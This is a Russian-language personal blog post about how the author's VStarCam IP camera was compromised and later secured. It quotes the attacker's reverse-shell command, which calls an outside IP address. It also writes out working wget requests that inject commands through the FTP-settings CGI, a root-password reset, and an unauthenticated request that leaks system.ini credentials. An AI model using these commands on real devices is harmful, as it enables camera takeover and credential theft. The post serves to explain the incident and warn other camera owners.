Мои видеокамеры

Несколько лет назад я купил некоторое количество видеокамер, если быть более точным - три. Хотел купить одинаковые, но увы, не получилось. В итоге, я взял две VStarCam C7824 WIP и одну VStarCam T7838 WIP[1].

На самом деле, я стал обладателем, по сути, трёх разных камер, так как одна из моделей C7824 WIP оказалась "русской" - на ней была установлена другая версия прошивки, которая довольно сильно отличалась от прошивки такой же, но "нерусской", камеры. T7838, кстати, тоже была "русской".

Покупая камеры, я, конечно же, читал на различных форумах отзывы о них. Ну и, к тому же, я прекрасно понимал, что покупаю достаточно дешёвые китайские изделия, чтобы ожидать от них некоторого количества проблем, в том числе, и с точки зрения безопасности.

Но камеры мне нужны были для наблюдения за совершенно неинтересными местами (входная дверь с небольшой частью прихожей и парочка видов за окном), так что, мысль была такая: если и взломают, то - не велика беда. К тому же, я выполнил несколько нехитрых манипуляций, которые, как мне казалось, должны были отсечь совсем уж школьников, а для более серьёзных "хакеров" я считал себя не интересным. В общем, я изменил порт камеры и пароль администратора и успокоился (😂). Но я недооценил того, насколько "дырявым" может быть софт 😯.

Обычное использование камер

Немного про особенности работы камер. Они могут работать в так называемом режиме P2P (или в "облачном" режиме). При этом, они соединяются с китайскими серверами, и, при помощи "фирменных" приложений для Android или Windows, которые подключаются к тем же серверам, можно как получать с камер "картинку", так и управлять ими.

Для обеспечения этого режима камеры используют механизм UPnP - если, конечно, роутер этот механизм поддерживает и ему разрешено его использовать. Ну а так как сегодня практически все сетевые устройства поддерживают эти протоколы (UPnP - набор протоколов), и их использование, зачастую, разрешено по умолчанию, то камеры "просверливают" себе выход в мир без особого труда. Всё это представляется производителями и продавцами, как огромный плюс - ведь камеры, фактически, не требуют настройки: просто подключаете их к домашней сети, устанавливаете на смартфон программное обеспечение производителя камер, и вот он - вожделенный доступ к устройствам из любой точки мира, в которой, конечно, есть интернет и разрешён доступ к нужным серверам. Вопрос, насколько, при этом, вы доверяете этим китайским серверам - и в плане надёжности, и в плане безопасности - целиком остаётся на ваше усмотрение.

Надо сказать, что в самом начале, когда я только купил эти камеры, работа с облаком была далеко не самым сильным их местом: "русские" камеры частенько "отваливались" и были недоступны[2]. Как решение, для работы с такими камерами предлагалось использовать "русифицированные" версии[3] тех же самых приложений, что, как понимаете, не совсем удобно.

Ещё один вариант использования камер

И тут на помощь приходит второй режим работы камер, условно "локальный" - собственный HTTP сервер и поддержка протоколов RTSP и ONVIF. Если быть откровенным, то именно из-за поддержки упомянутых протоколов я эти модели и покупал.

Собственный web сервер позволяет получать картинку с камеры в практически любом браузере. Да даже с мобильного телефона, имеющего поддержку J2ME, можно обратиться к камере.

Подключиться к камере можно с любого устройства

Кроме того, есть возможность управлять поворотом и наклоном, настраивать предопределённые точки наблюдения и различные другие аспекты работы камер.

Иcпользуя же протоколы RTSP и ONVIF, можно получить изображение с камеры практически в любом медиа проигрывателе, например, в VLC, а в случае с более специализированными программами - даже управлять камерами. Правда, возможностей, в этом случае, зачастую, значительно меньше, чем при использовании "фирменного" ПО.

Чуть выше я написал, что использование "локального" режима приходит на помощь, когда сталкиваешься со странностями режима "облачного", но следует признать, что и тут не обходится без, мягко говоря, особенностей. Я сейчас не хочу рассматривать и обсуждать все нюансы "локального" web интерфейса, хотя имеются они и у моих камер. Но прошивки установлены разные, из-за чего возможности камер сильно отличаются, как, собственно, и набор "фич" (читай, странностей). Так что, если начинать, то расписывать придётся долго. Ну и лишь в качестве примера: на одной камере установлено достаточно свежее ПО - сам обновлял, когда появилось соответствующее уведомление. Так вот, доступ к некоторым настройкам просто пропал, точнее - их видно в интерфейсе, можно менять текущие значения, но вот сохранить результат правки просто невозможно. Лично я думаю, что таким образом производитель боролся с обнаруженными уязвимостями, хотя, если честно, способ выбран несколько необычный.

Следует отметить, что мне также не очень понятно, как эти два режима ("облачный" и "локальный") взаимодействуют друг с другом. Особенно меня смущает[4] то, что я так и не смог выяснить со стопроцентной уверенностью, как соотносятся настройки "облачные" и настройки, сделанные в "локальном" режиме: то ли они влияют друг на друга, то ли не влияют (хотя, скорее, не влияют, нежели наоборот).

Как должно быть и как есть

Проблем с безопасностью хватает в обоих режимах использования камер. Но меня всегда больше интересовали вопросы, связанные с безопасностью "локального" режима, так как именно его я использую чаще. К сожалению, в HTTP сервере скрывается достаточно большое количество "дыр". И, должен признать, что проявил некоторую беспечность, когда не стал серьёзно изучать вопрос, а лишь поверхностно пробежал пару-тройку форумов. За что, собственно, и был наказан.

Основное правило безопасности при работе с домашними IP камерами гласит - никакого выхода наружу. Если хотите получать доступ к информации с камер - поднимите у себя специальное программное обеспечение, "заверните" трансляцию с камер на него, и уже через этот, свой собственный, сервер работайте с камерами. Альтернативой может служить VPN - разворачиваете собственную виртуальную частную сеть и осуществляете доступ к камерам только через неё.

Но все подобные манипуляции требуют знаний и времени. И да, для получения знаний, кстати, тоже требуется время. А времени, как обычно, ни на что и не хватает. К тому же, ещё требуется программное и аппаратное обеспечение. Ну а камеры, как нарочно, "из коробки" предлагают некоторый набор возможностей, которым так и тянет воспользоваться. Как я уже упоминал, тут и возможность получить доступ к картинке, и управление поворотами/наклонами, и реагирование на движение, отправление сообщений на почту при тревоге, запись на SD карту на постоянной основе или по тревоге, получение доступа к этим записям. Звучит заманчиво, не правда ли? Но для этого надо продать душу (😝) либо использовать "облако", либо выставить наружу web интерфейс камеры.

Взлом

В общем, пренебрёг я основным правилом безопасности, выставил наружу через свой reverse proxy web интерфейс одной из камер. Выше я уже упоминал, что пробежался по форумам, почитал (по диагонали) про уязвимости камер. Тогда самой страшной мне показалась возможность выполнять команды через настройки FTP сервера - так называемая RCE уязвимость. Это очень серьёзная проблема, но для её задействования (как мне тогда думалось 😞) надо было суметь к камере обратиться. Именно для того, чтобы предотвратить такую возможность, я и заменил порт, через который доступен web интерфейс камеры, и сменил пароль администратора. Но, как оказалось, до самой главной уязвимости я не докопался. Поэтому все предпринятые мной действия по повышению безопасности оказались просто фикцией.

В один прекрасный вечер слышу - камера перегружается. Я уже знал к тому моменту, что так она себя ведёт, если, например, через уязвимость в настройках FTP, запустить сервис telnet-а - да, я не только почитал про уязвимости, но и убедился, что они работают 🤪. Ну ладно, думаю, поглядим, что эти "кулхацкеры" там нахакерили. Подключаюсь к web интерфейсу камеры, захожу в настройки FTP и вижу совершенно незнакомую строку:

$(nc 165.255.101.77 26683 -e /bin/sh)

Я специально не закрываю IP адрес сервера, на который указывала команда - страна должна знать своих героев.

Конечно, сам я не "хакер", да и большим знатоком Linux не являюсь, поэтому приведённая чуть выше команда ни о чём мне не говорила, из-за чего, собственно, пришлось "гуглить", что это безобразие может означать. Надо сказать, ответ я нашёл достаточно быстро - это был, так называемый, reverse shell - один из способов перехвата управления удалённым компьютером. Как говорится, приплыли.

Дав себе пару минут внутренне панически поорать, я взял себя в руки и решил оценить ущерб. Я хотел понять, во-первых, как удалось обойти то, что я сменил пароль - ведь я наивно полагал, что взламывают только совершенно беспечных людей, оставивших заводские настройки (в том числе и пароль), которые известны всем. Ну и, во-вторых, что это всё могло значить для меня. Поэтому я стал копать глубже и вскоре набрёл на совершенно обескураживающую информацию. Часть её не была для меня новостью, другая же... Я даю ссылку на полный авторский материал, а дальше последует моё восприятие этого, не побоюсь громкого слова, исследования, и описание того, что могло происходить именно в моём случае. Итак.

Пересказ уязвимостей

Как указывает автор разбора уязвимостей камеры, в некоторых версиях ПО, сервис telnet работает без каких-либо предварительных манипуляций - включил камеру, и вот он уже торчит 23-им портом: подключайся - не хочу. Однако, в моём случае, к счастью, это было не так: сервис telnet на моей камере по умолчанию не запускался.

Правда, это было слабым утешением, так как его, telnet, абсолютно без проблем можно запустить и вручную, что я и проделывал неоднократно. И, конечно, будь я хакером, я бы хотел получить доступ к терминалу через telnet. Но, в моём случае, с этим, наверное, были бы проблемы.

Дело в том, что камера находится в локальной сети, за роутером, и, несмотря на то, что я был, мягко говоря, не совсем прав, решив выставить web интерфейс камеры наружу, тем не менее, не потерял разум настолько, чтобы сделать для неё ещё и перенаправление порта telnet. Получив доступ к telnet-у, злоумышленник без проблем прошёл бы процедуру аутентификации, так как пароль для пользователя root вшит в ПО моей камеры и, вообще говоря, общеизвестен. Возможно, хакер и пытался что-то такое исполнить, хотя, я думаю, что над моей камерой потрудился скрипт, а не человек. В теории, невозможность использовать telnet могла несколько уменьшить ущерб.

Но, продолжим. Возможность запуска telnet-а обусловлена одним из важных аспектов небезопасности моей камеры - имеется механизм, позволяющий выполнить произвольную команду с правами root через подстановку shell-команд при помощи конструкции $(...) (та самая RCE уязвимость). Для того, чтобы этот механизм сработал, надо выполнить определённую последовательность действий:

  1. Указать нужную команду в форме настройки параметров FTP сервера для камеры. Например, для запуска сервиса telnet-а следует воспользоваться командой $(tentetd).
  2. Сохранить данные
  3. Протестировать сделанные "настройки"
Иллюстрация к настройкам

Этот путь - для неопытных "линуксоидов", привыкших использовать GUI (то есть, например, для меня), но есть и более "администраторский" путь - с использованием командной строки, что позволяет писать скрипты и, в конечном итоге, автоматизировать процесс взлома. Автор исследования предлагает использовать следующие команды:

wget -qO- 'http://xxx.xxx.xxx.xxx/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=password&svr=xxx.xxx.xxx.xxx&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'

wget -qO- 'http://xxx.xxx.xxx.xxx/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=password'

где: xxx.xxx.xxx.xxx - IP-адрес взламываемой камеры, admin - (несменяемое) имя пользователя-администратора камеры, password - пароль пользователя-администратора камеры (его-то я, как раз, и менял), port, user, dir, mode и upload-interval - это всё параметры настраиваемого FTP сервера, ну а в pwd задана непосредственно сама команда.

Я проводил свои эксперименты, используя PowerShell и запуская команды из Windows Terminal, кроме того, первоначально меня "вдохновлял" другой источник информации, поэтому команды получились немного другие - ближе к настройкам в GUI. В общем, выглядело всё, примерно, так:

(wget 'http://xxx.xxx.xxx.xxx/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=password&svr=$(telnetd)&port=21&user=ftp&pwd=pwd&dir=/&mode=PORT&upload_interval=0').Content

(wget 'http://xxx.xxx.xxx.xxx/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=password').Content

Свойство Content я использовал для того, чтобы получить доступ к ответу от сервера, но, думаю, его можно смело опустить[5].

После выполнения настройки в GUI, или же приведённых команд, можно смело пользоваться telnet-ом. Кстати, в моём случае, я знал предопределенный пароль пользователя root, нужный для того, чтобы успешно аутентифицироваться в telnet сессии. Если вы его не знаете, всегда можно сменить пароль, используя тот же трюк, ведь команды запускаются от имени root, помните? Нужная shell-команда:

$(echo 'root:passwd'|chpasswd)

После этого вы уже точно знаете пароль root-а 😉[6].

Как понятно из приведённых примеров, перед тем, как зайти в настройки, или же воспользоваться командной строкой, надо пройти аутентификацию на web сервере камеры. И, меняя пароль, я надеялся воспротивиться такому взлому. Но оказалось, что, не указывая пароль, а просто имитируя его использование, можно "вытянуть" из камеры очень интересный файл с именем system.ini, в котором, в открытом виде, лежат не менее интересные данные. То есть, написав такое вот обращение:

wget -qO- 'http://xxx.xxx.xxx.xxx/system.ini?loginuse&loginpas'|xxd|less

или, в моём случае[7]:

(wget 'http://xxx.xxx.xxx.xxx/system.ini?loginuse&loginpas').Content -replace "`0", "" | Format-Hex | more

получаешь "ключи от квартиры, где деньги лежат" - все явки и пароли[8]:

   Label: String (System.String) <0DF17993>

          Offset Bytes                                           Ascii
                 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
          ------ ----------------------------------------------- -----
0000000000000000 6B 69 74 63 68 65 6E 01 01 01 05 01 05 01 01 01 kitchen.........
0000000000000010 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000020 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000030 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000040 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000050 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000060 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000070 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000080 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
0000000000000090 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
00000000000000A0 C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF C3 BF ................
00000000000000B0 C3 BF C3 BF C3 BF C3 BF C3 8F 16 17 60 C3 90 C3 ................
00000000000000C0 95 C3 BF C3 BF 01 74 69 6D 65 2E 77 69 6E 64 6F ......time.windo
00000000000000D0 77 73 2E 63 6F 6D 6E 6F 72 65 70 6C 79 40 62 6F ws.comsentfrom@m
00000000000000E0 7A 64 61 67 61 6E 69 61 6E 2E 63 6F 6D 65 76 67 aildomain.comsen
00000000000000F0 65 6E 79 40 62 6F 7A 64 61 67 61 6E 69 61 6E 2E t-to@maildomain.
0000000000000100 63 6F 6D 73 6D 74 70 2E 67 6D 61 69 6C 2E 63 6F comsmtp.gmail.co
0000000000000110 6D 4B 02 01 4B 6E 6F 72 65 70 6C 79 40 62 6F 7A m....gmailusr@ma
0000000000000120 64 61 67 61 6E 69 61 6E 2E 63 6F 6D 61 6D 61 6E ildomain.compass
0000000000000130 2D 36 37 38 32 01 0A 0A 0A 0A 02 05 0A 03 01 61 word1..........a
0000000000000140 64 6D 69 6E 6C 65 6D 61 36 37 38 32 03 0A 0F 0F dminpassword....
0000000000000150 01 04 02 7E 7E 7E 7E 01 14 1F 01 0F 02 08 7D 01 ................
0000000000000160 0A 01 0A 01 4F 02 1B 0A 01 02 08 7D 01 0A 01 62 ................
-- Далее  --

Если честно, мне кажется, что это - специально оставленный "чёрный" вход в систему. Ну, или же, какой-то шибко умный программист сделал себе такую возможность - чисто для отладки 😏. А потом эта "фича", специально ли, случайно ли, но перебралась в заводскую прошивку.

На самом деле, как и почему "дыра" оказалась в прошивке - не так уж и важно, главное, что возможность её использовать стала достоянием широких кругов доморощенных "хакеров". Тем более, что "продвинутыми" взламывателями был написан готовый эксплоит, решающий все задачи автоматически. Кстати, этот эксплоит и устанавливает reverse shell.

Почему был выбран именно такой подход? Дело в том, что до telnet-а, как, например, в моём случае, можно и не "дотянуться", а reverse shell, как бы, "пробрасывает" терминал взламываемого устройства на компьютер хакера - и не нужен доступ, например, к тому же 23-му порту. Да и с точки зрения автоматизации взлома reverse shell поудобнее будет. Правда, мне, видимо, и тут повезло - в прошивке камеры нет программы с именем nc.

Надо сказать, что эта уязвимость затрагивает не только камеры VStarCam. Если верить знающим людям, такое поведение присуще очень многим камерам, произведённым в Поднебесной. Я знаю, что достаточно часто Китай приводят в пример того, как надо делать, чтобы правильно "вставать с колен". Возможно, в глобальном смысле, они всё делают правильно, но, на мой субъективный взгляд, качество огромного количества китайской продукции (конечно же, не всей) как было ужасным, так таковым и остаётся. Люди же (и потребители и производители) выбирают её лишь потому, что она дешёвая, и вот эта вот жадность (или безысходность) и является источником китайского прогресса. Но эта тема из другой области и не является предметом данного блога.

Исправление ситуации

Теперь, после того, как я удовлетворил своё любопытство, и понял, каким образом меня взломали, в чём заключались мои ошибки и просчёты, встал вопрос - а что, собственно, можно сделать, чтобы ситуация не повторилась.

Первым делом, я закрыл взломанной камере выход в интернет. Сделал я это на своём домашнем роутере, благо, труда для этого потребовалось чуть.

Одна 'галка' и нет доступа в интернет

Следующим моим действием стал поиск программного обеспечения, которое могло бы выступить в качестве сервера для моих камер. Это был достаточно медленный процесс, сейчас он практически завершился, и о результатах, если они меня удовлетворят, я обязательно поведаю. Ну а пока, так как доступ к камере мне всё-таки был нужен, я решил, что заменю аутентификацию камеры на аутентификацию на своём обратном прокси[9]. Я очень надеюсь, что таким образом смог предотвратить исполнение неавторизованных команд, да и до GUI добраться теперь будет сложнее.

Ну и, байка под занавес... В процессе реализации этого решения, меня ожидал курьёзный момент. Я подключил требование аутентификации на прокси сервере, а ведь камера, в свою очередь, тоже требует ввода имени/пароля. И, по факту, какой бы я не использовал набор аутентификационных данных - имя пользователя/пароль на прокси сервере, или имя пользователя/пароль на самой камере, я всегда получал предложение ввести другую пару. В результате, пришлось в настройках прокси указывать необходимость передачи на камеру её аутентификационных данных - я "логинился" на прокси сервер, а он уже, в свою очередь, проходил аутентификацию на камере. Вот кусочек из настройки моего HAProxy:

backend security_cam_server
    mode http
    server security_cam XXX.XXX.XXX.XXXX:XXXX
    acl auth_ok http_auth(user-list)
    http-request auth realm security_cam if !auth_ok
    reqadd Authorization:\ Basic\ YWRtaW46ODg4ODg4

И да, для интересующихся: заголовок авторизации (Authorization) содержит "закодированные" имя и пароль администратора камеры по умолчанию: admin и 888888 соответственно (это точно не моя пара 😏). Если вам потребуется закодировать свои значения, можете воспользоваться следующим кодом:

encodedData = "Basic " + window.btoa('YOUR_USERNAME:YOUR_PASSWORD')

Я задействовал его в своём браузере (Opera) в Инструментах разработчика (комбинация клавиш Ctr+Shift+I) на закладке Console:

Кодирование пары имя/пароль

Вот, пожалуй, и всё, что я хотел рассказать про взлом моей камеры. Надеюсь, немного позже будет ещё статья - про то, как я использовал PowerShell для всех этих манипуляций.


  1. Да, цены тогда были другие 😔 ↩︎

  2. Надо признать, сейчас китайское облако работает без нареканий ↩︎

  3. Смотри спойлер "Приложения" ↩︎

  4. Учитывая моё отношение к большинству товаров из Китая (но не ко всем!), смущает, но вовсе не удивляет ↩︎

  5. wget - это алиас в PowerShell для команды Invoke-WebRequest, но, начиная с версии 7, воспользоваться им уже не получится - PowerShell, вернее, PowerShell Core, стал кроссплатформенным и, чтобы не вызывать конфликтов, алиасом Invoke-WebRequest стала аббревиатура iwr ↩︎

  6. Если использовать командную строку, то одинарные кавычки, обрамляющие имя и пароль, следует заменить на двойные ↩︎

  7. О том, как я пришёл к такой командной строке, я напишу отдельно ↩︎

  8. Учтите - вся "чувствительная" информация, конечно же, изменена 😉 ↩︎

  9. В качестве такового у меня выступает HAProxy ↩︎